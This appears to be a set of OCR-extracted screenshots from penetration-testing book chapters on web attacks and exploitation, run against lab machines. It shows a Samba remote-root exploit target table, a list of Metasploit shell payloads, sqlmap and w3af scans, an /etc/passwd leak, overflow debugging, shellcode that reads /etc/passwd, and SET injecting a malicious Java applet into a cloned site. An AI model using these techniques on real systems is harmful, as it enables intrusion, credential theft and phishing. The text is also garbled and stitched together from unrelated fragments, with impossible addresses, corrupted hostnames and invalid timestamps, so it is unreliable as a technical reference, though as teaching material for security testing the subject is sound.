sambal.c is able to identify samba boxes. It will send a netbios name packet to port 137. If the box responds with the mac address 00-00-00-00-00-00, it's probably running samba.

```
[esdee@embrace esdee]$ ./sambal -d 0 -C 60 -S 192.168.0
samba-2.2.8 < remote root exploit by eSDee (www.netric.org/be)
+ Scan mode.
+ [192.168.0.3] Samba
+ [192.168.0.10] Windows
+ [192.168.0.20] Windows
+ [192.168.0.21] Samba
+ [192.168.0.30] Windows
+ [192.168.0.31] Samba
+ [192.168.0.33] Windows
+ [192.168.0.35] Windows
+ [192.168.0.36] Windows
+ [192.168.0.37] Windows
```

```c
struct {
    char *type;
    unsigned long ret;
    char *shellcode;
    int os_type; /* 0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD non-exec stack */
} targets[] = {
    "samba-2.2.x - Debian 3.0 " , 0xbffffff2a, [linux_bindcode, 0 ],
    "samba-2.2.x - Gentoo 1.4.x " , 0xbffffff890, [linux_bindcode, 0 ],
    "samba-2.2.x - Mandrake 8.x " , 0xbffffff6a0, [linux_bindcode, 0 ],
    "samba-2.2.x - Mandrake 9.0 " , 0xbffffff638, [linux_bindcode, 0 ],
    "samba-2.2.x - Redhat 9.0 " , 0xbffffff7cc, [linux_bindcode, 0 ],
    "samba-2.2.x - Redhat 8.0 " , 0xbffffff2f0, [linux_bindcode, 0 ],
    "samba-2.2.x - Redhat 7.0 " , 0xbffffff310, [linux_bindcode, 0 ],
    "samba-2.2.x - Redhat 6.x " , 0xbffffff2f0, [linux_bindcode, 0 ],
    "samba-2.2.x - Slackware 9.0 " , 0xbffffff574, [linux_bindcode, 0 ],
    "samba-2.2.x - Slackware 8.x " , 0xbffffff574, [linux_bindcode, 0 ],
    "samba-2.2.x - SuSE 7.x " , 0xbffffffbe6, [linux_bindcode, 0 ],
    "samba-2.2.x - SuSE 8.x " , 0xbffffff0f8, [linux_bindcode, 0 ],
    "samba-2.2.x - FreeBSD 5.0 " , 0xbffffff374, [bsd_bindcode, 0 ],

-- INSERT --
```
<table>
<thead>
<tr>
<th>Name</th>
<th>Disclosure Date</th>
<th>Rank</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>generic/custom</td>
<td>normal</td>
<td></td>
<td>Custom Payload</td>
</tr>
<tr>
<td>generic/debug_trap</td>
<td>normal</td>
<td></td>
<td>Generic x86 Debug Trap</td>
</tr>
<tr>
<td>generic/shell_bind_tcp</td>
<td>normal</td>
<td></td>
<td>Generic Command Shell, Bind TCP Inline</td>
</tr>
<tr>
<td>generic/shell_reverse_tcp</td>
<td>normal</td>
<td></td>
<td>Generic Command Shell, Reverse TCP Inline</td>
</tr>
<tr>
<td>generic/tight_loop</td>
<td>normal</td>
<td></td>
<td>Generic x86 Tight Loop</td>
</tr>
<tr>
<td>linux/x86/adduser</td>
<td>normal</td>
<td></td>
<td>Linux Add User</td>
</tr>
<tr>
<td>linux/x86/chmod</td>
<td>normal</td>
<td></td>
<td>Linux Chmod</td>
</tr>
<tr>
<td>linux/x86/echo</td>
<td>normal</td>
<td></td>
<td>Linux Execute Command</td>
</tr>
<tr>
<td>linux/x86/meterpreter/bind_ipv6_tcp</td>
<td>normal</td>
<td></td>
<td>Linux Meterpreter, Bind TCP Stager (IPv6)</td>
</tr>
<tr>
<td>linux/x86/meterpreter/bind_nonx_tcp</td>
<td>normal</td>
<td></td>
<td>Linux Meterpreter, Bind TCP Stager</td>
</tr>
<tr>
<td>linux/x86/meterpreter/bind_tcp</td>
<td>normal</td>
<td></td>
<td>Linux Meterpreter, Bind TCP Stager</td>
</tr>
<tr>
<td>linux/x86/meterpreter/reverse_ipv6_tcp</td>
<td>normal</td>
<td></td>
<td>Linux Meterpreter, Reverse TCP Stager (IPv6)</td>
</tr>
<tr>
<td>linux/x86/meterpreter/reverse_nonx_tcp</td>
<td>normal</td>
<td></td>
<td>Linux Meterpreter, Reverse TCP Stager</td>
</tr>
<tr>
<td>linux/x86/meterpreter/reverse_tcp</td>
<td>normal</td>
<td></td>
<td>Linux Meterpreter, Reverse TCP Stager</td>
</tr>
<tr>
<td>linux/x86/metasploit/bind_tcp</td>
<td>normal</td>
<td></td>
<td>Linux Meterpreter Service, Bind TCP</td>
</tr>
<tr>
<td>linux/x86/metasploit/reverse_tcp</td>
<td>normal</td>
<td></td>
<td>Linux Meterpreter Service, Reverse TCP Inline</td>
</tr>
<tr>
<td>linux/x86/read_file</td>
<td>normal</td>
<td></td>
<td>Linux Read File</td>
</tr>
<tr>
<td>linux/x86/shell/bind_ipv6_tcp</td>
<td>normal</td>
<td></td>
<td>Linux Command Shell, Bind TCP Stager (IPv6)</td>
</tr>
<tr>
<td>linux/x86/shell/bind_nonx_tcp</td>
<td>normal</td>
<td></td>
<td>Linux Command Shell, Bind TCP Stager</td>
</tr>
<tr>
<td>linux/x86/shell/bind_tcp</td>
<td>normal</td>
<td></td>
<td>Linux Command Shell, Bind TCP Stager</td>
</tr>
</tbody>
</table>

```
root@kali:~$ ./ocIHashcat-1.36# ./ocIHashcat64.bin -m 11300 -w 3 -a 3 hash h?1?1?1?1?1?It ocIHashcat v1.36 starting...

Device #1: Tahiti, 3022MB, 1000MHz, 32MCU
Device #2: Tahiti, 3022MB, 1000MHz, 32MCU
Device #3: Tahiti, 3022MB, 1000MHz, 32MCU

Hashes: 1 hashes; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0xe0000000 mask, 262144 bytes, 5/13 rotate
Applicable optimizers:
  * Zero-Byte
  * Single-Hash
  * Single-Salt
  * Brute-Force
```

```
[root@kioptrix root]# iptables -L Chain INPUT (policy ACCEPT) target prot opt source direction destination Chain FORWARD (policy ACCEPT) target prot opt source direction destination Chain OUTPUT (policy ACCEPT) target prot opt source direction destination [root@kioptrix root]#_```
Chapter 7: Web Application Attacks

[Diagram showing a network setup with Host VMware, Kali NAT, KVM3 VMnet9 Web Application, PFSense Load Balancing, Ubuntu Mutillidae VMnet9, and KVM3 Clone VMnet9 Web Application.]
OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.25  Security Level: 0 (Hosed)  Hints: Enabled (1 - 5cr1pt K1ddle)  Not Logged in

Home | Login/Register  | Toggle Hints | Show Popup Hints | Toggle Security | Enforce SSL | Reset DB | View Log | View Captured Data

OWASP 2013  OWASP 2010  OWASP 2007

FreeBSD/amd64 (pfSense.localdomain) (ttyv0)

*** Welcome to pfSense 2.2.4-RELEASE-pfSense (amd64) on pfSense ***
LAN (wan)  -> em0  -> v4/DHCP4: 192.168.75.169/24
LAN (lan)  -> om1  -> v4: 192.168.175.5/24
0) Logout (SSH only)
1) Assign Interfaces
2) Set interface(s) IP address
3) Reset webConfigurator password
4) Reset to factory defaults
5) Reboot system
6) Halt system
7) Ping host
8) Shell
Enter an option:
Do you want to revert to HTTP as the webConfigurator protocol? (y/n) n

Please wait while the changes are saved to LAN...
Reloading filter...
Reloading routing configuration...
DHCPD...

The IP4M LAN address has been set to 192.168.175.5/24
You can now access the webConfigurator by opening the following URL in your web browser:

https://192.168.175.5/

Press <ENTER> to continue.
### Status: DHCP leases

<table>
<thead>
<tr>
<th>IP address</th>
<th>MAC address</th>
<th>Hostname</th>
<th>Start</th>
<th>End</th>
<th>Online</th>
<th>Lease Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.175.12</td>
<td>00:0c:29:b5:93:49</td>
<td></td>
<td>2015/09/07 22:37:27</td>
<td>2015/09/08 00:37:27</td>
<td>offline</td>
<td>active</td>
</tr>
<tr>
<td>192.168.175.11</td>
<td>00:0c:29:aa:67:ae</td>
<td></td>
<td>2015/09/07 22:37:19</td>
<td>2015/09/08 00:37:19</td>
<td>offline</td>
<td>active</td>
</tr>
<tr>
<td>192.168.175.10</td>
<td>00:0c:29:6c:67:26</td>
<td>Phobos</td>
<td>2015/09/07 22:36:50</td>
<td>2015/09/08 00:36:50</td>
<td>online</td>
<td>active</td>
</tr>
</tbody>
</table>

Set Static IP addresses for each Kloprix machine

---

### Status: DHCP leases

<table>
<thead>
<tr>
<th>IP address</th>
<th>MAC address</th>
<th>Hostname</th>
<th>Start</th>
<th>End</th>
<th>Online</th>
<th>Lease Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.175.101</td>
<td>00:0c:29:b5:93:49</td>
<td>Kloprix1</td>
<td>n/a</td>
<td>n/a</td>
<td>offline</td>
<td>static</td>
</tr>
<tr>
<td>192.168.175.102</td>
<td>00:0c:29:a2:b7:ae</td>
<td>Kloprix2</td>
<td>n/a</td>
<td>n/a</td>
<td>offline</td>
<td>static</td>
</tr>
</tbody>
</table>

Show all configured leases

```
global
  log /dev/log  local0
  log /dev/log  local1 notice
  chroot /var/lib/haproxy
  user haproxy
  group haproxy
  daemon

defaults
  log  global
  mode  http
  option  httplog
  option dontlognull
  contimeout 5000
  cltimeout 50000
  srvtimeout 50000
  listen MyLANBalancer 192.168.175.200:80
    mode  http
    cookie MyLANBalancer
    balance  source
    option  httpclose
    option  forwardfor
    stats  enable
    stats  auth  pentesting:penetesting
    server  Kloprix_1  192.168.175.101  cookie  MyLANBalancerA  check
    server  Kloprix_2  192.168.175.102  cookie  MyLANBalancerB  check
```
Ligoat Security

Got Goat? Security ...

Got Goat? Security ...

We've revamped our website for the new release of the new gallery CMS we made. We are geared towards security...

We are so full of ourselves, we've put this on our dev-servers just to show how serious we are. Visit our blog section for more information on our new gallery system.

Or cut to the chase and see it now!

w3af - Web Application Attack and Audit Framework

Profiles Edit View Tools Configuration Help

Scan config

Profiles
empty_profile
OWASP_TOP10
audit_high_dhsk
bruteforce
test_scan
full_audit
full_audit_manual_dis
sitemap
web_infrastructure

Target: kloptrix3.com

Plugin Active
audit [ ]
bruteforce [ ]
discovery [ ]
afd [ ]
allowedMethods [ ]
archiveDotOrg [ ]
bing_spider [ ]
content_negotiation [ ]
detectReverseProxy [ ]
detectTransparentProxy [ ]
digitSum [ ]
output [ ]

Audit plugins use the knowledge created by discovery plugins to find vulnerabilities on the remote web application and web server.
The remote web server seems to have a reverse proxy installed. This information was found in the request with id 35.

Request
Response

Raw Headers

TRACE http://kioptrix3.com HTTP/1.1
Host: kioptrix3.com
Cookie: PHPSESSID=6954f1b7e2d7caaff68033ac1f6e6e65
Accept-encoding: identity
Accept: */*
User-agent: w3af.sourceforge.net

Knowledge Base
- directoryIndexing
- directory
- error500
- error500
- pathDisclosure
- pathDisclosure

Select a Scan Target
Choose a target for new scan

Scan Target
- Enter a base URI for scan:
  kioptrix3.com

- Choose a target scope for scan
Scan Alert Summary

<table>
<thead>
<tr>
<th>Level</th>
<th>Alert Description</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>High</td>
<td>SQL Injection</td>
<td>1</td>
</tr>
<tr>
<td>High</td>
<td>Page Fingerprint Differential Detected - Possible SQL Injection</td>
<td>5</td>
</tr>
<tr>
<td>Medium</td>
<td>HTTP Trace Support Detected (Apache/2.2.8 (J)</td>
<td>14 found</td>
</tr>
<tr>
<td>Medium</td>
<td>Local Filesystem Paths Found 0</td>
<td></td>
</tr>
<tr>
<td></td>
<td>PHP Error Detected</td>
<td>7</td>
</tr>
<tr>
<td>Low</td>
<td>Directory Listing Detected</td>
<td>11</td>
</tr>
<tr>
<td>Info</td>
<td>Interesting Meta Tags Detected</td>
<td>357</td>
</tr>
<tr>
<td></td>
<td>Blank Body Detected</td>
<td>2</td>
</tr>
<tr>
<td></td>
<td>Character Set Not Specified</td>
<td>21</td>
</tr>
<tr>
<td></td>
<td>Cookie HTTPOnly Flag Not Set</td>
<td>1</td>
</tr>
</tbody>
</table>
root@kali:~

root@kali:~# w3af_console
w3af>>> help

start      | Start the scan.
plugins    | Enable and configure plugins.
exploit    | Exploit the vulnerability.
profiles   | List and use scan profiles.
cleanup    | Cleanup before starting a new scan.

help       | Display help. Issuing: help [command], prints more
           | specific help about "command"
version    | Show w3af version information.
keys       | Display key shortcuts.

http-settings | Configure the HTTP settings of the framework.
misc-settings | Configure w3af misc settings.
target     | Configure the target URL.

back       | Go to the previous menu.
exit       | Exit w3af.

kb         | Browse the vulnerabilities stored in the Knowledge Base

root@kali:~# w3af_console
w3af>>> target
w3af/config/target>>> set target http://kioptrix3.com
w3af/config/target>>> view

<table>
<thead>
<tr>
<th>Setting</th>
<th>Value</th>
<th>Modified</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>target_framework</td>
<td>unknown</td>
<td></td>
<td>Target programming framework</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>(unknown/php/asp/asp.net/java/jsp/cfm/ruby/perl)</td>
</tr>
<tr>
<td>target</td>
<td><a href="http://kioptrix3.com">http://kioptrix3.com</a></td>
<td>Yes</td>
<td>A comma separated list of URLs</td>
</tr>
<tr>
<td>target_os</td>
<td>unknown</td>
<td></td>
<td>Target operating system {unknown/unix/windows}</td>
</tr>
</tbody>
</table>

root@kali:~

Enabling day's dependency server_header
The plugins configured by the scan profile have been enabled, and their options configured.
Please set the target URL(s) and start the scan.
w3af/profiles>>> back
w3af>>> plugins
w3af/plugins>>> output

<table>
<thead>
<tr>
<th>Plugin name</th>
<th>Status</th>
<th>Conf</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>console</td>
<td>Enabled</td>
<td>Yes</td>
<td>Print messages to the console.</td>
</tr>
<tr>
<td>csv_file</td>
<td></td>
<td>Yes</td>
<td>Export identified vulnerabilities to a CSV file.</td>
</tr>
<tr>
<td>email_report</td>
<td></td>
<td>Yes</td>
<td>Email report to specified addresses.</td>
</tr>
<tr>
<td>export_requests</td>
<td></td>
<td>Yes</td>
<td>Export the fuzzable requests found during crawl to a file.</td>
</tr>
<tr>
<td>html_file</td>
<td></td>
<td>Yes</td>
<td>Generate HTML report with identified vulnerabilities and log messages.</td>
</tr>
<tr>
<td>text_file</td>
<td></td>
<td>Yes</td>
<td>Prints all messages to a text file.</td>
</tr>
<tr>
<td>xml_file</td>
<td></td>
<td>Yes</td>
<td>Print all messages to a xml file.</td>
</tr>
<tr>
<td>Timestamp</td>
<td>Log level</td>
<td>Message</td>
<td></td>
</tr>
<tr>
<td>-----------------</td>
<td>-----------</td>
<td>-------------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:34:47 2015</td>
<td>error</td>
<td>audit plugin needs to be correctly configured to use. Please set valid values for local address (e...</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:34:64 2015</td>
<td>error</td>
<td>The eval plugin got an error while requesting &quot;<a href="http://kioptrx3.com/index.php?option=Blog&amp;categor">http://kioptrx3.com/index.php?option=Blog&amp;categor</a>...</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:34:64 2015</td>
<td>error</td>
<td>The blind_sqli plugin got an error while requesting &quot;<a href="http://kioptrx3.com/index.php?option=18%22%20">http://kioptrx3.com/index.php?option=18&quot;%20</a>...</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:35:02 2015</td>
<td>error</td>
<td>The rfi plugin got an error while requesting &quot;<a href="http://kioptrx3.com/index.php?option=reflect%20">http://kioptrx3.com/index.php?option=reflect%20</a>...</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:35:02 2015</td>
<td>error</td>
<td>The rfi plugin got an error while requesting &quot;<a href="http://kioptrx3.com/index.php?option=Blog&amp;category=">http://kioptrx3.com/index.php?option=Blog&amp;category=</a>...</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:35:02 2015</td>
<td>error</td>
<td>The rfi plugin got an error while requesting &quot;<a href="http://kioptrx3.com/index.php?option=Blog&amp;category=">http://kioptrx3.com/index.php?option=Blog&amp;category=</a>...</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:35:02 2015</td>
<td>error</td>
<td>The rfi plugin got an error while requesting &quot;<a href="http://kioptrx3.com/index.php?option=Blog&amp;category=">http://kioptrx3.com/index.php?option=Blog&amp;category=</a>...</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:35:02 2015</td>
<td>error</td>
<td>The rfi plugin got an error while requesting &quot;<a href="http://kioptrx3.com/index.php?option=Blog&amp;category=">http://kioptrx3.com/index.php?option=Blog&amp;category=</a>...</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:35:02 2015</td>
<td>error</td>
<td>The rfi plugin got an error while requesting &quot;<a href="http://kioptrx3.com/index.php?option=Blog&amp;category=">http://kioptrx3.com/index.php?option=Blog&amp;category=</a>...</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:35:02 2015</td>
<td>error</td>
<td>The rfi plugin got an error while requesting &quot;<a href="http://kioptrx3.com/index.php?option=Blog&amp;category=">http://kioptrx3.com/index.php?option=Blog&amp;category=</a>...</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:35:02 2015</td>
<td>error</td>
<td>The rfi plugin got an error while requesting &quot;<a href="http://kioptrx3.com/index.php?option=Blog&amp;category=">http://kioptrx3.com/index.php?option=Blog&amp;category=</a>...</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:35:09 2015</td>
<td>error</td>
<td>The web_spider plugin got an error while requesting &quot;<a href="http://kioptrx3.com/gallery/photos/med_8css">http://kioptrx3.com/gallery/photos/med_8css</a>...</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:35:09 2015</td>
<td>error</td>
<td>The web_spider plugin got an error while requesting &quot;<a href="http://kioptrx3.com/style/comps/admin/login.p">http://kioptrx3.com/style/comps/admin/login.p</a>...</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:35:09 2015</td>
<td>error</td>
<td>The blind_sqli plugin got an error while requesting &quot;<a href="http://kioptrx3.com/index.php?option=Blog&amp;cat">http://kioptrx3.com/index.php?option=Blog&amp;cat</a>...</td>
<td></td>
</tr>
<tr>
<td>Wed Sep 9 20:35:14 2015</td>
<td>error</td>
<td>The following error was detected and could not be resolved: whaf found too many consecutive erro...</td>
<td></td>
</tr>
<tr>
<td>Plugin name</td>
<td>Status</td>
<td>Conf</td>
<td>Description</td>
</tr>
<tr>
<td>---------------------</td>
<td>--------</td>
<td>------</td>
<td>---------------------------------------------------------------------------</td>
</tr>
<tr>
<td>blind_sqli</td>
<td>Yes</td>
<td></td>
<td>Identify blind SQL injection vulnerabilities.</td>
</tr>
<tr>
<td>buffer_overflow</td>
<td></td>
<td></td>
<td>Find buffer overflow vulnerabilities.</td>
</tr>
<tr>
<td>cors_origin</td>
<td>Yes</td>
<td></td>
<td>Inspect if application checks that the value of the &quot;Origin&quot; HTTP header is consistent with the value of the remote IP address/Host of the sender of the incoming HTTP request.</td>
</tr>
<tr>
<td>csrf</td>
<td></td>
<td></td>
<td>Identify Cross-Site Request Forgery vulnerabilities.</td>
</tr>
<tr>
<td>dav</td>
<td></td>
<td></td>
<td>Verify if the WebDAV module is properly configured.</td>
</tr>
<tr>
<td>eval</td>
<td>Yes</td>
<td></td>
<td>Find insecure eval() usage.</td>
</tr>
<tr>
<td>file_upload</td>
<td>Yes</td>
<td></td>
<td>Uploads a file and then searches for the file inside all known directories.</td>
</tr>
<tr>
<td>format_string</td>
<td></td>
<td></td>
<td>Find format string vulnerabilities.</td>
</tr>
<tr>
<td>frontpage</td>
<td></td>
<td></td>
<td>Tries to upload a file using frontpage extensions (author.dll).</td>
</tr>
<tr>
<td>generic</td>
<td>Yes</td>
<td></td>
<td>Find all kind of bugs without using a fixed database of errors.</td>
</tr>
<tr>
<td>global_redirect</td>
<td></td>
<td></td>
<td>Find scripts that redirect the browser to any site.</td>
</tr>
<tr>
<td>htaccess_methods</td>
<td></td>
<td></td>
<td>Find misconfigurations in Apache's &quot;&lt;LIMIT&gt;&quot; configuration.</td>
</tr>
<tr>
<td>ldap</td>
<td></td>
<td></td>
<td>Find LDAP injection bugs.</td>
</tr>
<tr>
<td>lfi</td>
<td></td>
<td></td>
<td>Find local file inclusion vulnerabilities.</td>
</tr>
<tr>
<td>memcache</td>
<td></td>
<td></td>
<td>No description available for this plugin.</td>
</tr>
<tr>
<td>mx_injection</td>
<td></td>
<td></td>
<td>Find MX injection vulnerabilities.</td>
</tr>
<tr>
<td>os commanding</td>
<td></td>
<td></td>
<td>Find OS Commanding vulnerabilities.</td>
</tr>
<tr>
<td>phishing_vector</td>
<td></td>
<td></td>
<td>Find phishing vectors.</td>
</tr>
<tr>
<td>preg_replace</td>
<td></td>
<td></td>
<td>Find unsafe usage of PHPs preg_replace.</td>
</tr>
<tr>
<td>redos</td>
<td></td>
<td></td>
<td>Find Redos vulnerabilities.</td>
</tr>
<tr>
<td>response_splitting</td>
<td></td>
<td></td>
<td>Find response splitting vulnerabilities.</td>
</tr>
<tr>
<td>rfi</td>
<td>Yes</td>
<td></td>
<td>Find reflected file download vulnerabilities.</td>
</tr>
<tr>
<td>shellShock</td>
<td></td>
<td></td>
<td>Find shell shock vulnerabilities.</td>
</tr>
<tr>
<td>sql</td>
<td></td>
<td></td>
<td>Find SQL injection bugs.</td>
</tr>
<tr>
<td>ssl</td>
<td></td>
<td></td>
<td>Find server side inclusion vulnerabilities.</td>
</tr>
<tr>
<td>ssl_certificates</td>
<td>Yes</td>
<td></td>
<td>Check the SSL certificate validity (if https is being used).</td>
</tr>
<tr>
<td>xpath</td>
<td></td>
<td></td>
<td>Find XPath injection vulnerabilities.</td>
</tr>
<tr>
<td>xss</td>
<td></td>
<td></td>
<td>Identify cross site scripting vulnerabilities.</td>
</tr>
<tr>
<td>xst</td>
<td>Yes</td>
<td></td>
<td>Find Cross Site Tracing vulnerabilities.</td>
</tr>
</tbody>
</table>
HTTP proof

Accept-encoding: gzip, deflate
Accept: */*
User-agent: w3af.org
Host: kiopтриx3.com
Referer: http://kiopтриx3.com/
Cookie: PHPSESSID=65d2279800bc7821847336a923847c31

HTTP/1.1 200 OK
Content-length: 1310
X-powered-by: PHP/5.2.4-2ubuntu5.6
Expires: Thu, 19 Nov 1981 08:52:08 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
Connection: close
Pragma: no-cache
Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Date: Tue, 08 Sep 2015 04:42:02 GMT
Content-type: text/html

root:x:0:0:root:/root:/bin/bash
damon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:4:sync:/bin:/bin/sync
games:x:5:6:games:/usr/games:/bin/sh
man:x:6:6:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:54:54:backup:/var/backups:/bin/sh
list:x:38:38:Hailing List Manager:/var/list:/bin/sh
irc:x:39:39:irc:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:100::/var/lib/libuuid:/bin/sh
dhcp:x:101:101::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
Welcome to the OWASP Zed Attack

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. Please be aware that you should only attack applications that you have been authorised to.

To quickly test an application, enter its URL below and press 'Attack'.

URL to attack: http://192.168.75.171

Progress: Attack complete - see the Alerts tab for details of any found vulnerabilities.

For a more in-depth test you should explore your application using your browser.

Alerts

Server Side Code Injection - PHP Code Injection (2)
Application Error Disclosure
Directory Browsing (5)
X-Frame-Options Header Not Set (17)
Cookie set without HttpOnly flag (13)
Cross-Domain JavaScript Source File Inclusion (2)
Password Autocomplete in browser (2)
Remote IP Disclosure (2)

Full details of any selected alert will be displayed here.
You can manually add alerts by right clicking on the relevant line in the history and selecting 'Add alert'.
You can also edit existing alerts by double clicking on them.
welcome to our page

Test site for Acunetix WVS.
![legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program]

[*] starting at 22:06:03

[22:06:03] [WARNING] using '/root/.sqlmap/output' as the output directory
[22:06:03] [INFO] testing connection to the target URL
[22:06:04] [INFO] testing if the target URL is stable
[22:06:05] [INFO] target URL is stable
[22:06:05] [INFO] testing if GET parameter 'cat' is dynamic
[22:06:05] [INFO] confirming that GET parameter 'cat' is dynamic
[22:06:05] [INFO] GET parameter 'cat' is dynamic
[22:06:05] [INFO] heuristic (basic) test shows that GET parameter 'cat' might be injectable (possible DBMS: 'MySQL')
[22:06:06] [INFO] heuristic (XSS) test shows that GET parameter 'cat' might be vulnerable to XSS attacks
[22:06:06] [INFO] testing for SQL injection on GET parameter 'cat'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] [n]
Chapter 8: Exploitation Concepts
(gdb) x/4xg $rsp
0xfffffffffee0d0: 0x00007fffffff2c8 0x00000002f7ffe1a8
0xfffffffffee0e0: 0x41414141414141 0x41414141414141
(gdb) i r
rax       0x0      0
rbx       0x0      0
rcx       0xffffffffb0c620 0x140737348945440
rdx       0xffffffffd087a0 0x140737351878560
rsi       0xfffffffff50000 0x140737354092544
rdi       0x0      0
rbp       0x41414141414141 0x41414141414141
rsp       0xfffffffff0 0x41414141414141
r8        0x41414141414141 0x4702111234474983745
r9        0x41414141414141 0x4702111234474983745
r10       0x41414141414141 0x4702111234474983745
r11       0x246 582
r12       0x4004e0 4195552
r13       0xfffffffff2c0 0x140737488347840
r14       0x0      0
r15       0x0      0
rip       0xfffffffffee0e0 0xfffffffffee0e0
eflags    0x0246 [ PF ZF IF ]
cs        0x33      51
ss        0x2b      43
ds        0x0      0
es        0x0      0
fs        0x0      0
gs        0x0      0

; syscall write output to stdout
xor rdi, rdi
add dl, 1 ; set stdout fd = 1
mov rdx, rax
xor rax, rax
add al, 1
syscall

; syscall exit
xor rax, rax
add al, 60
syscall

_push_filename:
call_readfile
path: db "/etc/passwdA"
systemd-timesync:x:100:103:systemd Time Synchronization,\,/:/run/systemd/bin/false
systemd-network:x:101:104:systemd Network Management,\,/:/run/systemd/netif/bin/false
systemd-resolve:x:102:105:systemd Resolver,\,/:/run/systemd/resolve/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,\,/:/run/systemd/bin/false
mysql:x:104:109:MySQL Server,\,/:/nonexistent/bin/false
messagebus:x:105:110:/var/run/dbus/bin/false
avahi:x:106:112:Avahi mDNS daemon,\,/:/var/run/avahi-daemon/bin/false
miredo:x:107:65534:/var/run/miredo/bin/false
ntp:x:108:114:/home/ntp/bin/false
stunnel4:x:109:116:/var/run/stunnel4/bin/false
uuidd:x:110:117:/run/uuidd/bin/false
Debian-exim:x:111:118:/var/spool/exim4/bin/false
statd:x:112:65534:/var/lib/nfs/bin/false
arpwatch:x:113:121:ARP Watcher,\,/:/var/lib/arpwatch/bin/sh
colorcl:x:114:123:color clolor management daemon,\,/:/var/lib/colorcl/bin/false
epmd:x:115:124:/var/run/eptmd/bin/false
couchdb:x:116:125:CouchDB Administrator,\,/:/var/lib/couchdb/bin/bash
dnsmasq:x:117:65534:dnsmasq,\,/:/var/lib/misc/bin/false
dradis:x:118:127:/var/lib/dradis/bin/false
geoclue:x:119:128:/var/lib/geoclue/bin/false
pulse:x:120:129:PulseAudio daemon,\,/:/var/run/pulse/bin/false
speech-dispatcher:x:121:29:Speech Dispatcher,\,/:/var/run/speech-dispatcher/bin/sh
sshd:x:122:65534:/var/run/sshd/usr/sbin/nologin
snmp:x:123:131:/var/lib/snmp/usr/sbin/nologin
postgresql:x:124:134:PostgreSQL administrator,\,/:/var/lib/postgresql/bin/bash
iodine:x:125:65534:/var/run/iodine/bin/false
redis:x:126:137:/var/lib/redis/bin/false
redsocks:x:127:138:/var/run/redsocks/bin/false
ssh:x:128:139:/nonexistent/bin/false
rtkit:x:129:140:RealtimeKit,\,/:/proc/bin/false
saned:x:130:141:/var/lib/saned/bin/false
usbmux:x:131:46:usbmux daemon,\,/:/var/lib/usbmux/bin/false
beef-xss:x:132:142:/var/lib/beef-xss/bin/false
Debian-gdm:x:133:144:Gnome Display Manager,\,/:/var/lib/gdm3/bin/false
rwho:x:134:65534:/var/spool/rwho/bin/false

[Inferior 1 (process 5214) exited with code 01]
Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.

Join us on irc.freenode.net in channel #setoolkit

The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com

Select from the menu:

1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

set> 2

Select which option you want:

1. Make my own self-signed certificate applet.
2. Use the applet built into SET.
3. I have my own code signing certificate or applet.

Enter the number you want to use [1-3]: 2
[*] Cloning the website:
[*] This could take a little bit...
[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: gujezfi
[*] Malicious java applet website prepped for deployment

What payload do you want to generate:

Name: Description:

1) Meterpreter Memory Injection
2) Meterpreter Multi-Memory Injection
3) SE Toolkit Interactive Shell
4) SE Toolkit HTTP Reverse Shell
5) RATTE HTTP Tunneling Payload
6) ShellCodeExec Alphanumeric Shellcode
7) Import your own executable

%A

[*] Error: Apache does not appear to be running.
[*] Start it or turn APACHE off in /etc/setoolkit/set.config
